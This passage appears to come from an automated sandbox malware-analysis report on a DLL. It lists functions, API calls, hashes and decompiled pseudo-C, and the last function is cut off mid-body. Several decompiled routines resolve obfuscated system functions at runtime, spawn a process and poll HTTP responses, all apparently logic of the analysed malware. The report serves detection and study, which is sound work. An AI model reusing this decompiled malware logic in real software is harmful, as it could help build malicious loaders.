                    • Instruction Fuzzy Hash: D3515D32D40119EBCF16AFB5CC49A9E7BB6AF84314F25806DED04A7210DB35CA21DF94
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB84D9D Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: OIfdrMGLizpYDcTLWWHeozcUTnQeULqwBAhJpQ$TmQUpxYENW$rGYXKtxvdn
                    • API String ID: 1384045349-3284569860
                    • Opcode ID: 0ff56100217e65100686123733bd7512edb56bd77607f84d3e61c9650c91899e
                    • Instruction ID: bd923d7c4ad8b3ca34198c917de976067fecf4668e042baa07469dbfcdaf8de5
                    • Opcode Fuzzy Hash: 0ff56100217e65100686123733bd7512edb56bd77607f84d3e61c9650c91899e
                    • Instruction Fuzzy Hash: E7E17E7090A1A8CBEF25CF44CC90BEDB3B9BB41309F5441D9E00A67A44DBB49AC9CF56
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8D190 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                    Download Yara Rule
                    APIs
                    • _ValidateLocalCookies.LIBCMT ref: 6CB8D1C7
                    • ___except_validate_context_record.LIBVCRUNTIME ref: 6CB8D1CF
                    • _ValidateLocalCookies.LIBCMT ref: 6CB8D258
                    • __IsNonwritableInCurrentImage.LIBCMT ref: 6CB8D283
                    • _ValidateLocalCookies.LIBCMT ref: 6CB8D2D8
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                    • String ID: csm
                    • API String ID: 1170836740-1018135373
                    • Opcode ID: 2432ec6b125667e41bff6cc69d321b745635b4d08c45b0715dc1eee9e2a64f02
                    • Instruction ID: 0603e90b6763b1dc7c1351793dc7695a415f17b3ab73774fa44324779084b0d5
                    • Opcode Fuzzy Hash: 2432ec6b125667e41bff6cc69d321b745635b4d08c45b0715dc1eee9e2a64f02
                    • Instruction Fuzzy Hash: 2741A734A02289DBCF00DF78D880ADEBBB5EF46328F148557E8146BB91D731D905CB91
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C37DF Relevance: 10.6, APIs: 7, Instructions: 109librarymemoryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 73%
                    			E027C37DF(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E027C6BF9(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E027C7AB0( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x27ca300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x27ca348; // 0x10fd5a8
					_t18 = _t47 + 0x27cb706; // 0x73797325
					_t68 = E027C127E(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x27ca348; // 0x10fd5a8
						_t19 = _t50 + 0x27cb86c; // 0x38c8e14
						_t20 = _t50 + 0x27cb3f6; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E027C5B56();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E027C5B56();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x27ca2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E027C61DA(_t70);
				goto L12;
			}


















                    0x027c37e7
                    0x027c37e7
                    0x027c37f6
                    0x027c37fd
                    0x027c3802
                    0x027c390f
                    0x027c3916
                    0x027c3916
                    0x027c3811
                    0x027c3819
                    0x027c381c
                    0x027c3821
                    0x027c3836
                    0x027c383c
                    0x027c383d
                    0x027c3840
                    0x027c3846
                    0x027c3849
                    0x027c384e
                    0x027c3856
                    0x027c3862
                    0x027c3866
                    0x027c38f6
                    0x027c386c
                    0x027c386c
                    0x027c3871
                    0x027c3878
                    0x027c388c
                    0x027c3890
                    0x027c38df
                    0x027c3892
                    0x027c3893
                    0x027c389a
                    0x027c38b3
                    0x027c38b5
                    0x027c38b9
                    0x027c38c0
                    0x027c38da
                    0x027c38c2
                    0x027c38cb
                    0x027c38d0
                    0x027c38d0
                    0x027c38c0
                    0x027c38ee
                    0x027c38ee
                    0x027c3866
                    0x027c38fd
                    0x027c3906
                    0x027c390a
                    0x00000000

                    APIs
                      • Part of subcall function 027C6BF9: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,027C37FB,?,?,?,?,00000000,00000000), ref: 027C6C1E
                      • Part of subcall function 027C6BF9: GetProcAddress.KERNEL32(00000000,7243775A), ref: 027C6C40
                      • Part of subcall function 027C6BF9: GetProcAddress.KERNEL32(00000000,614D775A), ref: 027C6C56
                      • Part of subcall function 027C6BF9: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 027C6C6C
                      • Part of subcall function 027C6BF9: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 027C6C82
                      • Part of subcall function 027C6BF9: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 027C6C98
                    • memset.NTDLL ref: 027C3849
                      • Part of subcall function 027C127E: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,027C3862,73797325), ref: 027C128F
                      • Part of subcall function 027C127E: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 027C12A9
                    • GetModuleHandleA.KERNEL32(4E52454B,038C8E14,73797325), ref: 027C387F
                    • GetProcAddress.KERNEL32(00000000), ref: 027C3886
                    • HeapFree.KERNEL32(00000000,00000000), ref: 027C38EE
                      • Part of subcall function 027C5B56: GetProcAddress.KERNEL32(36776F57,027C2425), ref: 027C5B71
                    • CloseHandle.KERNEL32(00000000,00000001), ref: 027C38CB
                    • CloseHandle.KERNEL32(?), ref: 027C38D0
                    • GetLastError.KERNEL32(00000001), ref: 027C38D4
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
                    • String ID:
                    • API String ID: 3075724336-0
                    • Opcode ID: d6edaffe6c9e628adc00243ca290983d1ce1807f99123634cf0597a229a40db6
                    • Instruction ID: 6f157760d2c2b62a085acb53ff8ad9f8fff7cb242b9b836aea3a67580e051a01
                    • Opcode Fuzzy Hash: d6edaffe6c9e628adc00243ca290983d1ce1807f99123634cf0597a229a40db6
                    • Instruction Fuzzy Hash: 183110B5D04209EFDB11AFB4DC89D9EBBBDEB08314F20846DEA05A7111D7359E54CB60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C3FA5 Relevance: 10.6, APIs: 7, Instructions: 92networksynchronizationCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C3FA5(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E027C33DC(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E027C61DA(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E027C16B2( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}














                    0x027c3fa5
                    0x027c3fa5
                    0x027c3fb5
                    0x027c3fb8
                    0x027c3fbc
                    0x027c3fc2
                    0x027c3fc7
                    0x027c3fe0
                    0x027c3ff4
                    0x027c3ffb
                    0x027c4002
                    0x027c4055
                    0x027c405b
                    0x027c4061
                    0x027c409c
                    0x027c40a2
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c4061
                    0x027c4008
                    0x00000000
                    0x027c400f
                    0x027c401d
                    0x027c4020
                    0x027c4023
                    0x027c402f
                    0x027c4033
                    0x027c4095
                    0x027c4035
                    0x027c4047
                    0x027c4085
                    0x027c4090
                    0x027c4049
                    0x027c404c
                    0x027c4050
                    0x027c4050
                    0x027c4047
                    0x00000000
                    0x027c4033
                    0x027c4008
                    0x027c3fcc
                    0x027c3fd2
                    0x027c3fd5
                    0x027c3fda
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c406a
                    0x027c4072
                    0x027c4077
                    0x027c407a
                    0x00000000

                    APIs
                    • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,74CF81D0,00000000,00000000), ref: 027C3FBC
                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,027C3F34,00000000,?), ref: 027C3FCC
                    • HttpQueryInfoA.WININET(?,20000013,?,?), ref: 027C3FFE
                    • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 027C4023
                    • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 027C4043
                    • GetLastError.KERNEL32 ref: 027C4055
                      • Part of subcall function 027C16B2: WaitForMultipleObjects.KERNEL32(00000002,027C7C47,00000000,027C7C47,?,?,?,027C7C47,0000EA60), ref: 027C16CD
                      • Part of subcall function 027C61DA: RtlFreeHeap.NTDLL(00000000,00000000,027C6383,00000000,?,00000000,00000000), ref: 027C61E6
                    • GetLastError.KERNEL32(00000000), ref: 027C408A
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                    • String ID:
                    • API String ID: 3369646462-0
                    • Opcode ID: 7dd0022749f4af9613159f55bbdd712b27f81bf95f79f2e4cbfb46a93d76b1e9
                    • Instruction ID: 6418378245ca6ebb45e13291fc18c62e0e128c5d2ce380ffa2d88b0b32217bbc
                    • Opcode Fuzzy Hash: 7dd0022749f4af9613159f55bbdd712b27f81bf95f79f2e4cbfb46a93d76b1e9
                    • Instruction Fuzzy Hash: C43102B5D40709EFDB21DFF5CC949AEB7B8EB08314F2089ADD642A2141D771AA84DF50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB9175B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,0B724F1C,?,6CB91868,00000000,6CB719F5,00000000,00000000), ref: 6CB9181C
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeLibrary
                    • String ID: api-ms-$ext-ms-
                    • API String ID: 3664257935-537541572
                    • Opcode ID: 1fd5e59b64b2bfebbccfdb9fd5c7d8f65cf5da1158746a25815fab74741bae1a
                    • Instruction ID: 12224de2bd6b22d79af0fa76081abfddb18785739e3bb0b18db69f1141ac918a
                    • Opcode Fuzzy Hash: 1fd5e59b64b2bfebbccfdb9fd5c7d8f65cf5da1158746a25815fab74741bae1a
                    • Instruction Fuzzy Hash: DC212771E41292A7DB12CA658D84A9A37BCDB437B4F280530E915A7680E734ED00EAD2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C3A63 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(00000000), ref: 027C3ABD
                    • SysAllocString.OLEAUT32(0070006F), ref: 027C3AD1
                    • SysAllocString.OLEAUT32(00000000), ref: 027C3AE3
                    • SysFreeString.OLEAUT32(00000000), ref: 027C3B4B
                    • SysFreeString.OLEAUT32(00000000), ref: 027C3B5A
                    • SysFreeString.OLEAUT32(00000000), ref: 027C3B65
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: String$AllocFree
                    • String ID:
                    • API String ID: 344208780-0
                    • Opcode ID: 9713f100a47c276752f5ec185014a428fcbd435cab19fc0fb03dbf42db17f150
                    • Instruction ID: 05622753ac04a7a39409816cc2d5910fc370293c6fdafe6fe993472024058989
                    • Opcode Fuzzy Hash: 9713f100a47c276752f5ec185014a428fcbd435cab19fc0fb03dbf42db17f150
                    • Instruction Fuzzy Hash: B1415335D00A09ABDB01EFBCD845AAEB7B9EF49315F24846EEA10EB110DB71DD05CB91
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C6BF9 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C6BF9(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E027C33DC(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x27ca348; // 0x10fd5a8
					_t1 = _t23 + 0x27cb436; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x27ca348; // 0x10fd5a8
					_t2 = _t26 + 0x27cb85c; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E027C61DA(_t54);
					} else {
						_t30 =  *0x27ca348; // 0x10fd5a8
						_t5 = _t30 + 0x27cb849; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x27ca348; // 0x10fd5a8
							_t7 = _t33 + 0x27cb72b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x27ca348; // 0x10fd5a8
								_t9 = _t36 + 0x27cb883; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x27ca348; // 0x10fd5a8
									_t11 = _t39 + 0x27cb87b; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E027C7A08(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}


















                    0x027c6c08
                    0x027c6c0c
                    0x027c6cce
                    0x027c6c12
                    0x027c6c12
                    0x027c6c17
                    0x027c6c2a
                    0x027c6c2c
                    0x027c6c31
                    0x027c6c39
                    0x027c6c40
                    0x027c6c42
                    0x027c6c47
                    0x027c6cc6
                    0x027c6cc7
                    0x027c6c49
                    0x027c6c49
                    0x027c6c4e
                    0x027c6c56
                    0x027c6c58
                    0x027c6c5d
                    0x00000000
                    0x027c6c5f
                    0x027c6c5f
                    0x027c6c64
                    0x027c6c6c
                    0x027c6c6e
                    0x027c6c73
                    0x00000000
                    0x027c6c75
                    0x027c6c75
                    0x027c6c7a
                    0x027c6c82
                    0x027c6c84
                    0x027c6c89
                    0x00000000
                    0x027c6c8b
                    0x027c6c8b
                    0x027c6c90
                    0x027c6c98
                    0x027c6c9a
                    0x027c6c9f
                    0x00000000
                    0x027c6ca1
                    0x027c6ca7
                    0x027c6cac
                    0x027c6cb3
                    0x027c6cb8
                    0x027c6cbd
                    0x00000000
                    0x027c6cbf
                    0x027c6cc2
                    0x027c6cc2
                    0x027c6cbd
                    0x027c6c9f
                    0x027c6c89
                    0x027c6c73
                    0x027c6c5d
                    0x027c6c47
                    0x027c6cdc

                    APIs
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,027C37FB,?,?,?,?,00000000,00000000), ref: 027C6C1E
                    • GetProcAddress.KERNEL32(00000000,7243775A), ref: 027C6C40
                    • GetProcAddress.KERNEL32(00000000,614D775A), ref: 027C6C56
                    • GetProcAddress.KERNEL32(00000000,6E55775A), ref: 027C6C6C
                    • GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 027C6C82
                    • GetProcAddress.KERNEL32(00000000,6C43775A), ref: 027C6C98
                      • Part of subcall function 027C7A08: memset.NTDLL ref: 027C7A87
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: AddressProc$AllocateHandleHeapModulememset
                    • String ID:
                    • API String ID: 1886625739-0
                    • Opcode ID: 4f19ca691f07aaf2c4689a60a89e55deb2d7f7dc10f6946a760c019e40b4e037
                    • Instruction ID: f4b03e62e6c891566edecba93f9b8b7e7ae5005ba868635d29ad9e2151ffd400
                    • Opcode Fuzzy Hash: 4f19ca691f07aaf2c4689a60a89e55deb2d7f7dc10f6946a760c019e40b4e037
                    • Instruction Fuzzy Hash: E1214DB060170AAFD721DF7AC984E5AB7ECEB44705725982DE905C7210E774EA088F60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8D559 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • GetLastError.KERNEL32(00000001,?,6CB8D11D,6CB8A8BD,6CB8AB4E,?,6CB8AD86,?,00000001,?,?,00000001,?,6CBA2578,0000000C,6CB8AE7F), ref: 6CB8D567
                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6CB8D575
                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6CB8D58E
                    • SetLastError.KERNEL32(00000000,6CB8AD86,?,00000001,?,?,00000001,?,6CBA2578,0000000C,6CB8AE7F,?,00000001,?), ref: 6CB8D5E0
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ErrorLastValue___vcrt_
                    • String ID:
                    • API String ID: 3852720340-0
                    • Opcode ID: 2752a2e6bbbe1c286be1e27163a2772c7a4e7b1803e2d6c00c53d81b7bdd7c55
                    • Instruction ID: 3b1b81d3c85f5a53a66be13646df758cff1381eff201a4b7af89d4e25b3de125
                    • Opcode Fuzzy Hash: 2752a2e6bbbe1c286be1e27163a2772c7a4e7b1803e2d6c00c53d81b7bdd7c55
                    • Instruction Fuzzy Hash: 7C01753620B293AEAA141D79BD849EE2769DB076FC724033BE124C69D1EF118C0556A5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB77BD0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • BmKrVaCfmkEuASeFPCgdVriVuCknwQEKtYcwcGf, xrefs: 6CB78019
                    • HdIrWcSHQLiLxJKBNsgjq, xrefs: 6CB78005
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: BmKrVaCfmkEuASeFPCgdVriVuCknwQEKtYcwcGf$HdIrWcSHQLiLxJKBNsgjq
                    • API String ID: 1384045349-3853596494
                    • Opcode ID: ce7b1e3c8e9a4a5eed8fa64f75a5407f2d27d825eb616d7da58f53bbdd98c66d
                    • Instruction ID: a58fe8f07879b40baa8155d4b66b3097297945062276298b9bf849043917ba77
                    • Opcode Fuzzy Hash: ce7b1e3c8e9a4a5eed8fa64f75a5407f2d27d825eb616d7da58f53bbdd98c66d
                    • Instruction Fuzzy Hash: 5AA14AB09091A9CADB35CB10CD88BEDB775EB41309F5441DAD8597BA40DBB09EC8CF62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C4C94 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 88%
                    			E027C4C94(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x27ca3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E027C6536( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E027C313F(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E027C61DA(_a8);
						goto L29;
					}
					_t64 =  *0x27ca318; // 0x38c9dd8
					_t16 = _t64 + 0xc; // 0x38c9efa
					_t65 = E027C6536(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d027c90
